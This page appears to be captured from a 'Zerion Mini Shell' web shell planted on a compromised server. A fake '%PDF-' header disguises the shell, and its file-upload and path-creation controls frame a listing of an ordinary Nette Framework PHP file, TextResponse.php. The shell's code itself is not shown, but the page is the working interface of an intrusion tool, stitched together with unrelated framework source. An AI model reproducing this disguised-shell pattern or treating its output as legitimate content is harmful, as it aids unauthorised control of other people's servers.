%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/old2/_music/diplomka/diplomka/src/API/libs/Nette/Application/Responses/
Upload File :
Create Path :
Current File : /www/old2/_music/diplomka/diplomka/src/API/libs/Nette/Application/Responses/TextResponse.php

<?php

/**
 * This file is part of the Nette Framework (http://nette.org)
 *
 * Copyright (c) 2004 David Grudl (http://davidgrudl.com)
 *
 * For the full copyright and license information, please view
 * the file license.txt that was distributed with this source code.
 */

namespace Nette\Application\Responses;

use Nette;



/**
 * String output response.
 *
 * @author     David Grudl
 *
 * @property-read mixed $source
 */
class TextResponse extends Nette\Object implements Nette\Application\IResponse
{
	/** @var mixed */
	private $source;



	/**
	 * @param  mixed  renderable variable
	 */
	public function __construct($source)
	{
		$this->source = $source;
	}



	/**
	 * @return mixed
	 */
	final public function getSource()
	{
		return $this->source;
	}



	/**
	 * Sends response to output.
	 * @return void
	 */
	public function send(Nette\Http\IRequest $httpRequest, Nette\Http\IResponse $httpResponse)
	{
        if(Nette\Diagnostics\Debugger::$productionMode)
        {
            ob_start();
        }
		if ($this->source instanceof Nette\Templating\ITemplate) {
			$this->source->render();

		} else {
			echo $this->source;
		}
        if(Nette\Diagnostics\Debugger::$productionMode)
        {
            $text = ob_get_clean();
            if(strstr($httpRequest->getHeader("Accept-Encoding"), 'gzip'))
            {
                $text = gzencode($text, 5);
                $httpResponse->addHeader("Content-Encoding", 'gzip');
            }
            $len = strlen($text);
            $httpResponse->addHeader("Content-Length", $len);
            echo $text;
        }
	}

}

Zerion Mini Shell 1.0